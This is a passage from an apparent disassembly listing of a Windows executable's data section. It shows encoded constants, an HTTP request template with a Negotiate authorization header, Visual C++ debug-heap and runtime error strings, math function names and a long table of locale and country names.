dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aRoom db 'room',0 ; DATA XREF: sub_401CC1+2EC9o ; sub_401CC1+2FA8o ... align 4 aRoom_0 db 'room',0 ; DATA XREF: sub_401CC1+32D8o ; sub_401CC1+3318o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40CAE9+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_437468 dq 1.388888888888889e-2 ; DATA XREF: sub_40C926+2Fr dbl_437470 dq 1.666666666666667e-1 ; DATA XREF: sub_40C926+15r dbl_437478 dq 1.333333333333333 ; DATA XREF: sub_40C972+70r dword_437480 dd 0FFFFFFFFh ; DATA XREF: sub_40CD90+13r ; sub_40CE0Dr ... dword_437484 dd 0 ; DATA XREF: sub_40D0F4o flt_437488 dd 5.0e-1 ; DATA XREF: sub_40D46C+39Br align 10h dbl_437490 dq 9.765625e-4 ; DATA XREF: sub_414A1D+2BDr ; sub_414A1D+2D8r ... dbl_437498 dq -1.52587890625e-4 ; DATA XREF: sub_4156B7+3E5r dbl_4374A0 dq 3.0517578125e-4 ; DATA XREF: sub_4156B7+3C5r dbl_4374A8 dq -3.0517578125e-4 ; DATA XREF: sub_4156B7+342r ; sub_4156B7+3A7r dbl_4374B0 dq 1.52587890625e-4 ; DATA XREF: sub_4156B7+271r dbl_4374B8 dq -1.739501953125e-3 ; DATA XREF: sub_4156B7+24Br ; sub_4156B7+2D5r ... dbl_4374C0 dq 3.11279296875e-3 ; DATA XREF: sub_4156B7+E1r dbl_4374C8 dq 3.0517578125e-5 ; DATA XREF: sub_4156B7+AEr ; sub_4156B7+138r ... dbl_4374D0 dq 6.103515625e-5 ; DATA XREF: sub_4156B7+93r ; sub_4156B7+308r dbl_4374D8 dq 2.288818359375e-3 ; DATA XREF: sub_4156B7+21r dbl_4374E0 dq -3.0517578125e-5 ; DATA XREF: sub_4165B5+2Br flt_4374E8 dd 9.765625e-4 ; DATA XREF: sub_418406+1AEr flt_4374EC dd 8.0 ; DATA XREF: sub_418406+1A8r flt_4374F0 dd 0.0 ; DATA XREF: sub_418406+16Fr flt_4374F4 dd 1.0e-3 ; DATA XREF: sub_418406+166r dword_4374F8 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_418D80+1Do ; sub_418E10+25o dword_437504 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_418D80+14o ; sub_41DCC0+Do ... dword_437514 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_418E10+1Co ; sub_41BC90+45o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: .nsp0:off_4510D0o align 4 aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_418FC0:loc_41912Ao ; sub_4193C0:loc_419540o align 4 aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_418FC0+11Bo aS_25 db '%s',0 ; DATA XREF: sub_418FC0+BCo ; sub_418FC0+16Fo ... align 10h aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_418FC0:loc_419077o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_418FC0+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_418FC0+31o ; sub_4193C0+77o ... align 4 a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_418FC0+25o ; sub_4193C0+6Bo ... align 4 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+499o align 4 a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4193C0+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_4193C0:loc_4197A6o align 4 a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_4193C0+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_4193C0:loc_4195D1o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4193C0+1B6o ; sub_4199B0+A8o ... align 10h aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_4193C0+136o align 10h aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_4193C0:loc_4194BFo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_4193C0+DCo a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_4199B0+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_4199B0+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_4199B0+29Co ; sub_419DC0+112o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_4199B0:loc_419BD4o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_4199B0+1E5o ; sub_41A090+249o align 4 aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_4199B0+17Fo ; sub_41A090+1ECo align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_4199B0+10Ao ; sub_419DC0+C1o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_4199B0:loc_419A1Do align 4 aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_41A000+54o align 4 aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_41A090+31Eo align 10h aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41A090+2EBo aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_41A090+2A2o align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41A090:loc_41A248o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_41A090:loc_41A1A2o align 10h a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_41A090:loc_41A17Ao align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_41A090:loc_41A152o align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_41A090:loc_41A12Ao align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_41A090:loc_41A0FFo aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41A690+11Bo align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_41A690:loc_41A69Fo a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: .nsp0:loc_41A822o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41A930:loc_41ABBCo align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41A930+250o align 10h aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_41A930+1F3o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41A930+188o aLd db '{%ld} ',0 ; DATA XREF: sub_41A930+139o align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41A930+111o align 10h aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41A930+E0o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41A930:loc_41A94Ao aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41ABF0+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_41ABF0+BFo align 10h aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41AD10:loc_41AD44o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE2Do align 4 aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .nsp0:0041AE05o align 4 aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .nsp0:0041ADDBo align 4 aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+95o align 10h aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41B070+67o ; sub_4225E0+4Fo align 10h aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41B070+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41B070+18o ; sub_41B070+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_41B070+Fo align 4 aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41B740+45o ; sub_41B910+45o ... align 4 aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41B740+24o ; sub_41B740+4Eo ... align 4 aStringNull db 'string != NULL',0 ; DATA XREF: sub_41B740+1Bo ; sub_41B910+1Bo ... align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41BC90+24o ; sub_41BC90+4Eo aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41C1C0+1Eo ; sub_41C1C0+48o align 4 aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41C6A0+1Eo ; sub_41C6A0+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41CC10+24o ; sub_41CC10+4Eo align 8 dbl_437CF8 dq 1.0 ; DATA XREF: sub_41CCD0+99r ; sub_41CEF0+99r ... dword_437D00 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_41D860+62o dword_437D0C dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_41D930+2Eo ; sub_41DA10+8o dword_437D18 dd 65657366h, 632E6Bh ; DATA XREF: sub_41DCC0+16o ; sub_41DD30+19o dword_437D20 dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_41E7D0+32o dword_437D2C dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_41E7D0+29o dword_437D38 dd 0FFFFFFFFh, 41EAF2h, 41EB0Dh ; DATA XREF: .nsp0:0041E9C5o dword_437D44 dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh ; DATA XREF: sub_41EB90+31o ; sub_41EB90+65o ... dd 64656C69h, 0 aError db 'Error',0 ; DATA XREF: .nsp0:004513C8o align 4 aWarning db 'Warning',0 ; DATA XREF: .nsp0:off_4513C4o aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41EED0+1FFo asc_437D7C: ; DATA XREF: sub_41EED0:loc_41F0A6o dw 0Ah unicode 0, <>,0 asc_437D80: ; DATA XREF: sub_41EED0+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41EED0:loc_41F045o align 4 aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41EED0+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_41EED0+149o ; sub_41EED0+21Co ... align 4 aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_41EED0+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41EED0+B6o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41EED0+9Co ; sub_42B680+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41F260+2C2o align 4 aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41F260+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_41F260+221o db 'Module: ',0 align 4 aFile db 0Ah ; DATA XREF: sub_41F260+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_41F260+1AAo db 'Line: ',0 asc_437EB8 db 0Ah ; DATA XREF: sub_41F260+173o ; sub_42AB10+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_41F260+153o align 4 dword_437ECC dd 0 ; DATA XREF: sub_41F260:loc_41F37Ao ; sub_41F260:loc_41F399o ... aForInformation db 0Ah ; DATA XREF: sub_41F260+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F260+9Co ; sub_41F260+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F260+56o ; sub_42AB10+EDo align 10h aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41F260+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41F260+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41F6A0+15o align 10h aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41FB40+16o a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_421F10+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_4225E0+2Eo ; sub_4225E0+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4225E0+25o align 10h aStream_c db 'stream.c',0 ; DATA XREF: sub_422970+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_422AF0+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_422AF0+18o ; sub_422AF0+16Eo align 4 byte_438018 db 6 ; DATA XREF: sub_422D70+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_4516B8o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_4516B4o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_422D70+122o align 4 aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_422D70+116o align 4 aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_423C10+23o ; sub_423CF0+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_424AA0+18o ; sub_424AA0+B2o ... align 10h aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_424C00+13o align 4 aInput_c db 'input.c',0 ; DATA XREF: sub_424CA0+1Eo ; sub_424CA0+4Bo a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_451934o align 8 dbl_438198 dq 0.0 ; DATA XREF: sub_4268F0+D7r ; sub_4268F0+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_427240+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_427240+6o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_427520:loc_427598o align 10h dword_4381D0 dd 0FFFFFFFFh, 427FC9h, 427FD6h, 0 ; DATA XREF: sub_427F30+5o dword_4381E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428120+5o dd offset sub_4281FD align 10h dd offset loc_4281BE ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 81h, 42h, 0 dword_4381F8 dd 0FFFFFFFFh, 42851Ch, 428522h, 0 ; DATA XREF: sub_4282C0+5o dword_438208 dd 0FFFFFFFFh, 42859Eh, 4285ADh, 0 ; DATA XREF: sub_428540+5o dword_438218 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428670+5o dd offset sub_4286DE align 8 dd offset loc_4286C0 dd offset loc_4286C6 dword_438230 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_428720+5o dd offset sub_42878A align 10h dd offset loc_42876C dd offset loc_428772 aLc_time db 'LC_TIME',0 ; DATA XREF: .nsp0:00451BBCo aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .nsp0:00451BB0o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .nsp0:00451BA4o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .nsp0:00451B98o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .nsp0:00451B8Co align 10h aLc_all db 'LC_ALL',0 ; DATA XREF: .nsp0:off_451B80o align 4 asc_438288: ; DATA XREF: .nsp0:loc_428A53o ; sub_428E30+83o unicode 0, <;>,0 asc_43828C db '=;',0 ; DATA XREF: .nsp0:loc_428981o align 10h aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_428C90+3Eo ; sub_428E30+1Bo align 4 asc_43829C: ; DATA XREF: sub_428E30+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_429120:loc_429192o a__3: ; DATA XREF: sub_429280+50o ; sub_42F1E0:loc_42F3DBo unicode 0, <.>,0 a__4: ; DATA XREF: sub_429280+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: .nsp0:00429456o ; sub_4294B0+18o dword_4382B4 dd 0 ; DATA XREF: sub_429750+5Do ; sub_42C100+58o ... dword_4382B8 dd 2 dup(0) ; DATA XREF: sub_429750+35o ; sub_42C100+35o ... dword_4382C0 dd 0FFFFFFFFh, 429896h, 42989Ch, 0FFFFFFFFh, 42998Ch, 429992h ; DATA XREF: sub_429750+5o dword_4382D8 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_429D90+5Bo ; sub_429D90+D0o dword_4382E4 dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_429EE0+72o dword_4382F0 dd 6E655F61h, 632E76h ; DATA XREF: sub_42A3F0+E8o ; sub_42A3F0+1C6o dword_4382F8 dd 6E696F69h, 632E7469h, 0 ; DATA XREF: sub_42A610+Bo ; sub_42A610+106o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_451C7Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42AB10+1A4o align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42AB10:loc_42AC5Ao db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .nsp0:0042B231o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42B680+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42B680:loc_42B6CBo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42B680+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_42B740+138o align 10h dword_438620 dd 0FFFFFFFFh, 42C244h, 42C24Ah ; DATA XREF: sub_42C100+5o dword_43862C dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_42C2C0+16o ; sub_42C2C0+48o dword_438638 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_42CB10+21o aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42CB10+18o align 4 aUngetc_c db 'ungetc.c',0 ; DATA XREF: .nsp0:0042CCA6o ; sub_42CD00+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: sub_42DF80+1D1o aTz db 'TZ',0 ; DATA XREF: sub_42DF80+35o align 10h aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42E860+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42F1E0+1CFo ; sub_42F1E0+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42F510+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42F970+52o ; sub_42F970+6Bo ... align 10h aParaguay db 'Paraguay',0 align 4 aUruguay db 'Uruguay',0 aChile db 'Chile',0 ; DATA XREF: .nsp0:004522A4o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: .nsp0:00452278o aArgentina db 'Argentina',0 align 10h aPeru db 'Peru',0 align 4 aColombia db 'Colombia',0 ; DATA XREF: .nsp0:004521F4o align 4 aVenezuela db 'Venezuela',0 align 10h aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .nsp0:0045219Co align 4 aSouthAfrica db 'South Africa',0 align 4 aPanama db 'Panama',0 ; DATA XREF: .nsp0:00452144o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: .nsp0:00452118o align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: .nsp0:004520ECo align 4 aSwitzerland db 'Switzerland',0 aGuatemala db 'Guatemala',0 ; DATA XREF: .nsp0:00452094o align 4 aCanada db 'Canada',0 ; DATA XREF: .nsp0:00452068o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .nsp0:00452034o align 4 aAustralia db 'Australia',0 ; DATA XREF: .nsp0:00452010o align 4 aEnglish db 'English',0 ; DATA XREF: .nsp0:00452008o ; .nsp0:00452168o aAustria db 'Austria',0 ; DATA XREF: .nsp0:00451FE4o aGerman db 'German',0 ; DATA XREF: .nsp0:00451FDCo align 10h aBelgium db 'Belgium',0 ; DATA XREF: .nsp0:00451FB8o aMexico db 'Mexico',0 ; DATA XREF: .nsp0:00451F8Co align 10h aSpanish db 'Spanish',0 ; DATA XREF: .nsp0:00451F84o ; .nsp0:0045208Co ... aBasque db 'Basque',0 ; DATA XREF: .nsp0:00451F58o align 10h aSweden db 'Sweden',0 ; DATA XREF: .nsp0:00451F34o align 4 aSwedish db 'Swedish',0 ; DATA XREF: .nsp0:00451F2Co aIceland db 'Iceland',0 ; DATA XREF: .nsp0:00451F08o aIcelandic db 'Icelandic',0 ; DATA XREF: .nsp0:00451F00o align 4 aFrance db 'France',0 ; DATA XREF: .nsp0:00451EDCo align 4 aFrench db 'French',0 ; DATA XREF: .nsp0:00451ED4o ; .nsp0:00451FB0o ... align 4 aFinland db 'Finland',0 ; DATA XREF: .nsp0:00451EB0o aFinnish db 'Finnish',0 ; DATA XREF: .nsp0:00451EA8o aSpain db 'Spain',0 ; DATA XREF: .nsp0:off_451E84o ; .nsp0:00451F60o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .nsp0:off_451E7Co align 4 aUnitedStates db 'united-states',0 align 4 aUnitedKingdom db 'united-kingdom',0 align 4 aTrinidadTobago db 'trinidad & tobago',0 align 4 aSouthKorea db 'south-korea',0 aSouthAfrica_0 db 'south-africa',0 align 4 aSouthKorea_0 db 'south korea',0 aSouthAfrica_1 db 'south africa',0 align 4 aSlovak db 'slovak',0 align 4 aPuertoRico db 'puerto-rico',0 aPrChina db 'pr-china',0 align 4 aPrChina_0 db 'pr china',0 align 10h aNz db 'nz',0 align 4 aNewZealand db 'new-zealand',0 aHongKong db 'hong-kong',0 align 4 aHolland db 'holland',0 aGreatBritain db 'great britain',0 align 4 aEngland db 'england',0 aCzech db 'czech',0 align 4 aChina db 'china',0 align 4 aBritain db 'britain',0 ; DATA XREF: .nsp0:00452330o aAmerica db 'america',0 ; DATA XREF: .nsp0:off_452328o aUsa_0 db 'usa',0 aUs db 'us',0 align 4 aUk db 'uk',0 align 4 aSwiss db 'swiss',0 align 10h aSwedishFinland db 'swedish-finland',0 aSpanishVenezue db 'spanish-venezuela',0 align 4 aSpanishUruguay db 'spanish-uruguay',0 aSpanishPuertoR db 'spanish-puerto rico',0 aSpanishPeru db 'spanish-peru',0 align 4 aSpanishParagua db 'spanish-paraguay',0 align 4 aSpanishPanama db 'spanish-panama',0 align 4 aSpanishNicarag db 'spanish-nicaragua',0 align 10h aSpanishModern db 'spanish-modern',0 align 10h aSpanishMexican db 'spanish-mexican',0 aSpanishHondura db 'spanish-honduras',0 align 4 aSpanishGuatema db 'spanish-guatemala',0 align 4 aSpanishElSalva db 'spanish-el salvador',0 aSpanishEcuador db 'spanish-ecuador',0 aSpanishDominic db 'spanish-dominican republic',0 align 4 aSpanishCostaRi db 'spanish-costa rica',0 align 4 aSpanishColombi db 'spanish-colombia',0 align 10h aSpanishChile db 'spanish-chile',0 align 10h aSpanishBolivia db 'spanish-bolivia',0 aSpanishArgenti db 'spanish-argentina',0 align 4 aPortugueseBraz db 'portuguese-brazilian',0 align 4 aNorwegianNynor db 'norwegian-nynorsk',0 align 10h aNorwegianBokma db 'norwegian-bokmal',0 align 4 aNorwegian db 'norwegian',0 align 10h aItalianSwiss db 'italian-swiss',0 align 10h aIrishEnglish db 'irish-english',0 align 10h aGermanSwiss db 'german-swiss',0 align 10h aGermanLuxembou db 'german-luxembourg',0 align 4 aGermanLichtens db 'german-lichtenstein',0 aGermanAustrian db 'german-austrian',0 aFrenchSwiss db 'french-swiss',0 align 4 aFrenchLuxembou db 'french-luxembourg',0 align 4 aFrenchCanadian db 'french-canadian',0 aFrenchBelgian db 'french-belgian',0 align 4 aEnglishUsa db 'english-usa',0 aEnglishUs db 'english-us',0 align 4 aEnglishUk db 'english-uk',0 align 10h aEnglishTrinida db 'english-trinidad y tobago',0 align 4 aEnglishSouthAf db 'english-south africa',0 align 4 aEnglishNz db 'english-nz',0 align 10h aEnglishJamaica db 'english-jamaica',0 aEnglishIre db 'english-ire',0 aEnglishCaribbe db 'english-caribbean',0 align 10h aEnglishCan db 'english-can',0 aEnglishBelize db 'english-belize',0 align 4 aEnglishAus db 'english-aus',0 aEnglishAmerica db 'english-american',0 align 4 aDutchBelgian db 'dutch-belgian',0 align 4 aChineseTraditi db 'chinese-traditional',0 aChineseSingapo db 'chinese-singapore',0 align 4 aChineseSimplif db 'chinese-simplified',0 align 4 aChineseHongkon db 'chinese-hongkong',0 align 4 aChinese db 'chinese',0 aChi db 'chi',0 aChh db 'chh',0 aCanadian db 'canadian',0 align 4 aBelgian db 'belgian',0 aAustralian db 'australian',0 align 4 aAmericanEnglis db 'american-english',0 align 10h aAmericanEngl_0 db 'american english',0 align 4 aAmerican db 'american',0 ; DATA XREF: .nsp0:off_4523E0o align 10h off_438D70 dd offset byte_50434F ; DATA XREF: sub_4306F0:loc_430743o off_438D74 dd offset byte_504341 ; DATA XREF: sub_4306F0+16o dword_438D78 dd 